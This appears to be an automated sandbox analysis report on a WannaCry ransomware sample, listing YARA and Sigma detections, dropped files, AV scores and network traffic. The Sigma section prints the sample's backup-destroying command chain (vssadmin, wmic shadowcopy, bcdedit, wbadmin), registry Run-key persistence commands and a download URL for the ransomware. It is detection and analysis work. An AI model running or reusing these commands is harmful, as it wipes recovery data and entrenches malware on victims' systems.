Conti, Conti Lock	Conti is an extremely damaging ransomware due to the speed with which it encrypts data and spreads to other systems. It was first observed in 2020 and it is thought to be led by a Russia-based cybercrime group that goes under the Wizard Spider pseudonym. In early May 2022, the US government announced a reward of up to $10 million for information on the Conti ransomware gang.	No Attribution	http://chuongdong.com/reverse%20engineering/2020/12/15/ContiRansomware/ https://0xthreatintel.medium.com/reversing-conti-ransomware-bfce15019e74 https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf https://arcticwolf.com/resources/blog/conti-and-akira-chained-together/	https://malpedia.caad.fkie.fraunhofer.de/details/win.conti

Name	Description	Attribution	Blogpost URLs	Link
WannaCryptor, WannaCry, WannaCrypt		Lazarus Group	http://blog.emsisoft.com/2017/05/12/wcry-ransomware-outbreak/ http://www.independent.co.uk/news/uk/home-news/wannacry-malware-hack-nhs-report-cybercrime-north-korea-uk-ben-wallace-a8022491.html https://baesystemsai.blogspot.de/2017/05/wanacrypt0r-ransomworm.html https://blog.avast.com/ransomware-that-infected-telefonica-and-nhs-hospitals-is-spreading-aggressively-with-over-50000-attacks-so-far-today https://blog.comae.io/wannacry-decrypting-files-with-wanakiwi-demo-86bafb81112d	https://malpedia.caad.fkie.fraunhofer.de/details/win.wannacryptor

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\@Please_Read_Me@.txt	WannaCry_RansomNote	Detects WannaCry Ransomware Note	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\AppData\Local\@Please_Read_Me@.txt	WannaCry_RansomNote	Detects WannaCry Ransomware Note	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\AppData\Local\@Please_Read_Me@.txt	WannaCry_RansomNote	Detects WannaCry Ransomware Note	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\AppData\Local\@Please_Read_Me@.txt	WannaCry_RansomNote	Detects WannaCry Ransomware Note	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\AppData\Local\@Please_Read_Me@.txt	WannaCry_RansomNote	Detects WannaCry Ransomware Note	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\r.wnry	WannaCry_RansomNote	Detects WannaCry Ransomware Note	Florian Roth	0x27c:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\u.wnry	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\u.wnry	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x133e6:$main_6: FF 74 24 10 FF 74 24 10 FF 74 24 10 FF 74 24 10 E8 43 00 00 00 C2 0x1caa:$set_reg_key_6: 68 C8 FD 41 00 F3 AB 66 AB AA 8D 44 24 1C C7 44 24 14 00 00 00 00 50 FF 15 54 55 41 00 8B 2D E8 50 41 00 8B 1D 0C 50 41 00 83 C4 08 33 FF 89 7C 24 14 85 FF 75 11 8D 4C 24 10 8D 54 24 18 51 52 ... 0x13102:$entrypoint_all: 55 8B EC 6A FF 68 A8 BA 41 00 68 50 30 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 24 55 41 00 59 83 0D 98 22 42 00 FF 83 0D 9C 22 42 ...
C:\Users\user\AppData\Local\@Please_Read_Me@.txt	WannaCry_RansomNote	Detects WannaCry Ransomware Note	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x133e6:$main_6: FF 74 24 10 FF 74 24 10 FF 74 24 10 FF 74 24 10 E8 43 00 00 00 C2 0x1caa:$set_reg_key_6: 68 C8 FD 41 00 F3 AB 66 AB AA 8D 44 24 1C C7 44 24 14 00 00 00 00 50 FF 15 54 55 41 00 8B 2D E8 50 41 00 8B 1D 0C 50 41 00 83 C4 08 33 FF 89 7C 24 14 85 FF 75 11 8D 4C 24 10 8D 54 24 18 51 52 ... 0x13102:$entrypoint_all: 55 8B EC 6A FF 68 A8 BA 41 00 68 50 30 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 24 55 41 00 59 83 0D 98 22 42 00 FF 83 0D 9C 22 42 ...
C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\58191711205328.bat	WannCry_BAT	Detects WannaCry Ransomware BATCH File	Florian Roth	0x130:$s1: @.exe">> m.vbs 0x158:$s2: cscript.exe //nologo m.vbs 0xc:$s3: echo SET ow = WScript.CreateObject("WScript.Shell")> 0x141:$s4: echo om.Save>> m.vbs
C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x133e6:$main_6: FF 74 24 10 FF 74 24 10 FF 74 24 10 FF 74 24 10 E8 43 00 00 00 C2 0x1caa:$set_reg_key_6: 68 C8 FD 41 00 F3 AB 66 AB AA 8D 44 24 1C C7 44 24 14 00 00 00 00 50 FF 15 54 55 41 00 8B 2D E8 50 41 00 8B 1D 0C 50 41 00 83 C4 08 33 FF 89 7C 24 14 85 FF 75 11 8D 4C 24 10 8D 54 24 18 51 52 ... 0x13102:$entrypoint_all: 55 8B EC 6A FF 68 A8 BA 41 00 68 50 30 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 24 55 41 00 59 83 0D 98 22 42 00 FF 83 0D 9C 22 42 ...
C:\Users\user\AppData\Local\@Please_Read_Me@.txt	WannaCry_RansomNote	Detects WannaCry Ransomware Note	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x133e6:$main_6: FF 74 24 10 FF 74 24 10 FF 74 24 10 FF 74 24 10 E8 43 00 00 00 C2 0x1caa:$set_reg_key_6: 68 C8 FD 41 00 F3 AB 66 AB AA 8D 44 24 1C C7 44 24 14 00 00 00 00 50 FF 15 54 55 41 00 8B 2D E8 50 41 00 8B 1D 0C 50 41 00 83 C4 08 33 FF 89 7C 24 14 85 FF 75 11 8D 4C 24 10 8D 54 24 18 51 52 ... 0x13102:$entrypoint_all: 55 8B EC 6A FF 68 A8 BA 41 00 68 50 30 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 24 55 41 00 59 83 0D 98 22 42 00 FF 83 0D 9C 22 42 ...
C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x133e6:$main_6: FF 74 24 10 FF 74 24 10 FF 74 24 10 FF 74 24 10 E8 43 00 00 00 C2 0x1caa:$set_reg_key_6: 68 C8 FD 41 00 F3 AB 66 AB AA 8D 44 24 1C C7 44 24 14 00 00 00 00 50 FF 15 54 55 41 00 8B 2D E8 50 41 00 8B 1D 0C 50 41 00 83 C4 08 33 FF 89 7C 24 14 85 FF 75 11 8D 4C 24 10 8D 54 24 18 51 52 ... 0x13102:$entrypoint_all: 55 8B EC 6A FF 68 A8 BA 41 00 68 50 30 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 24 55 41 00 59 83 0D 98 22 42 00 FF 83 0D 9C 22 42 ...
C:\Users\user\AppData\Local\@Please_Read_Me@.txt	WannaCry_RansomNote	Detects WannaCry Ransomware Note	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\AppData\Local\@Please_Read_Me@.txt	WannaCry_RansomNote	Detects WannaCry Ransomware Note	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\AppData\Local\@Please_Read_Me@.txt	WannaCry_RansomNote	Detects WannaCry Ransomware Note	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\AppData\Local\@Please_Read_Me@.txt	WannaCry_RansomNote	Detects WannaCry Ransomware Note	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\AppData\Local\@Please_Read_Me@.txt	WannaCry_RansomNote	Detects WannaCry Ransomware Note	Florian Roth	0x2c0:$s1: A: Don't worry about decryption. 0x0:$s2: Q: What's wrong with my files?
Click to see the 19 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000045.00000000.1517699744.000000000041F000.00000008.00000001.01000000.00000009.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
0000000B.00000003.1426542169.000000000098A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
0000000B.00000003.1423162894.0000000000989000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
0000000B.00000000.1406207775.000000000040E000.00000008.00000001.01000000.00000006.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x14d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x1500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
Process Memory Space: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe PID: 7412	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Process Memory Space: @WanaDecryptor@.exe PID: 1956	JoeSecurity_Conti_ransomware	Yara detected Conti ransomware	Joe Security
Process Memory Space: @WanaDecryptor@.exe PID: 1956	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
69.0.@WanaDecryptor@.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
69.0.@WanaDecryptor@.exe.400000.0.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x133e6:$main_6: FF 74 24 10 FF 74 24 10 FF 74 24 10 FF 74 24 10 E8 43 00 00 00 C2 0x1caa:$set_reg_key_6: 68 C8 FD 41 00 F3 AB 66 AB AA 8D 44 24 1C C7 44 24 14 00 00 00 00 50 FF 15 54 55 41 00 8B 2D E8 50 41 00 8B 1D 0C 50 41 00 83 C4 08 33 FF 89 7C 24 14 85 FF 75 11 8D 4C 24 10 8D 54 24 18 51 52 ... 0x13102:$entrypoint_all: 55 8B EC 6A FF 68 A8 BA 41 00 68 50 30 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 24 55 41 00 59 83 0D 98 22 42 00 FF 83 0D 9C 22 42 ...
11.0.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
11.0.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0x342d41:$x2: taskdl.exe 0x35962d:$x2: taskdl.exe 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0x359d91:$s2: Windows 10 --> 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x3591ff:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
11.0.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.400000.0.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
11.0.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.400000.0.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
Click to see the 1 entries

Sigma Signatures

Operating System Destruction

Sigma detected: Delete shadow copy via WMIC

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, CommandLine: "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: @WanaDecryptor@.exe vs, ParentImage: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe, ParentProcessId: 2576, ParentProcessName: @WanaDecryptor@.exe, ProcessCommandLine: "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, ProcessId: 4428, ProcessName: cmd.exe

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: "C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\tasksche.exe", EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\reg.exe, ProcessId: 3636, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\whprujwpxi808

Sigma detected: Shadow Copies Deletion Using Operating Systems Utilities

Source: Process started

Author: Florian Roth (Nextron Systems), Michael Haag, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community, Andreas Hunkeler (@Karneades): Data: Command: wmic shadowcopy delete, CommandLine: wmic shadowcopy delete, CommandLine|base64offset|contains: h, Image: C:\Windows\SysWOW64\wbem\WMIC.exe, NewProcessName: C:\Windows\SysWOW64\wbem\WMIC.exe, OriginalFileName: C:\Windows\SysWOW64\wbem\WMIC.exe, ParentCommandLine: "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4428, ParentProcessName: cmd.exe, ProcessCommandLine: wmic shadowcopy delete, ProcessId: 7724, ProcessName: WMIC.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\tasksche.exe", EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\reg.exe, ProcessId: 3636, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\whprujwpxi808

Sigma detected: Direct Autorun Keys Modification

Source: Process started

Author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: Data: Command: reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "whprujwpxi808" /t REG_SZ /d "\"C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\tasksche.exe\"" /f, CommandLine: reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "whprujwpxi808" /t REG_SZ /d "\"C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\tasksche.exe\"" /f, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\reg.exe, NewProcessName: C:\Windows\SysWOW64\reg.exe, OriginalFileName: C:\Windows\SysWOW64\reg.exe, ParentCommandLine: cmd.exe /c reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "whprujwpxi808" /t REG_SZ /d "\"C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\tasksche.exe\"" /f, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 3408, ParentProcessName: cmd.exe, ProcessCommandLine: reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "whprujwpxi808" /t REG_SZ /d "\"C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\tasksche.exe\"" /f, ProcessId: 3636, ProcessName: reg.exe

Sigma detected: File Download From Browser Process Via Inline URL

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zip, CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zip, CommandLine|base64offset|contains: -j~b,, Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3528, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zip, ProcessId: 6256, ProcessName: chrome.exe

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: cmd.exe /c reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "whprujwpxi808" /t REG_SZ /d "\"C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\tasksche.exe\"" /f, CommandLine: cmd.exe /c reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "whprujwpxi808" /t REG_SZ /d "\"C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\tasksche.exe\"" /f, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, ParentProcessId: 7412, ParentProcessName: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, ProcessCommandLine: cmd.exe /c reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "whprujwpxi808" /t REG_SZ /d "\"C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\tasksche.exe\"" /f, ProcessId: 3408, ProcessName: cmd.exe

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, ProcessId: 7412, TargetFilename: C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\StartUp\~SD4D61.tmp

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, CommandLine: "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: @WanaDecryptor@.exe vs, ParentImage: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe, ParentProcessId: 2576, ParentProcessName: @WanaDecryptor@.exe, ProcessCommandLine: "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, ProcessId: 4428, ProcessName: cmd.exe

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo, CommandLine: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: consent.exe 5728 686 000001FA36427DE0, ParentImage: C:\Windows\System32\consent.exe, ParentProcessId: 7456, ParentProcessName: consent.exe, ProcessCommandLine: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo, ProcessId: 5728, ProcessName: svchost.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: cscript.exe //nologo m.vbs, CommandLine: cscript.exe //nologo m.vbs, CommandLine|base64offset|contains: (, Image: C:\Windows\SysWOW64\cscript.exe, NewProcessName: C:\Windows\SysWOW64\cscript.exe, OriginalFileName: C:\Windows\SysWOW64\cscript.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c 58191711205328.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7620, ParentProcessName: cmd.exe, ProcessCommandLine: cscript.exe //nologo m.vbs, ProcessId: 7676, ProcessName: cscript.exe

Persistence and Installation Behavior

Sigma detected: Add file from suspicious location to autostart registry

Source: Process started

Author: Joe Security: Data: Command: cmd.exe /c reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "whprujwpxi808" /t REG_SZ /d "\"C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\tasksche.exe\"" /f, CommandLine: cmd.exe /c reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "whprujwpxi808" /t REG_SZ /d "\"C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\tasksche.exe\"" /f, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, ParentProcessId: 7412, ParentProcessName: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, ProcessCommandLine: cmd.exe /c reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "whprujwpxi808" /t REG_SZ /d "\"C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\tasksche.exe\"" /f, ProcessId: 3408, ProcessName: cmd.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\@WanaDecryptor@.exe.lnk

Avira: detection malicious, Label: LNK/Runner.VPDJ

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	ReversingLabs: Detection: 96%
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	ReversingLabs: Detection: 89%
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskse.exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\u.wnry	ReversingLabs: Detection: 96%
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	ReversingLabs: Detection: 96%
Source: C:\Users\user\Documents\@WanaDecryptor@.exe	ReversingLabs: Detection: 96%
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	ReversingLabs: Detection: 96%

Source: taskhsvc.exe, 00000069.00000003.1642548432.000000000324F000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: -----BEGIN RSA PUBLIC KEY-----

memstr_c1c9fd50-7

Source: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zip

HTTP Parser: Base64 decoded: {"referrer":"https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0","request_id":"E234:1BCE:93535D:CF69CB:65FEEB81","visitor_id":"5835941807636015992","region_edge":"iad","region_render":"iad"}

Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.16:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.16:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.16:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 178.62.22.36:443 -> 192.168.2.16:49885 version: TLS 1.2
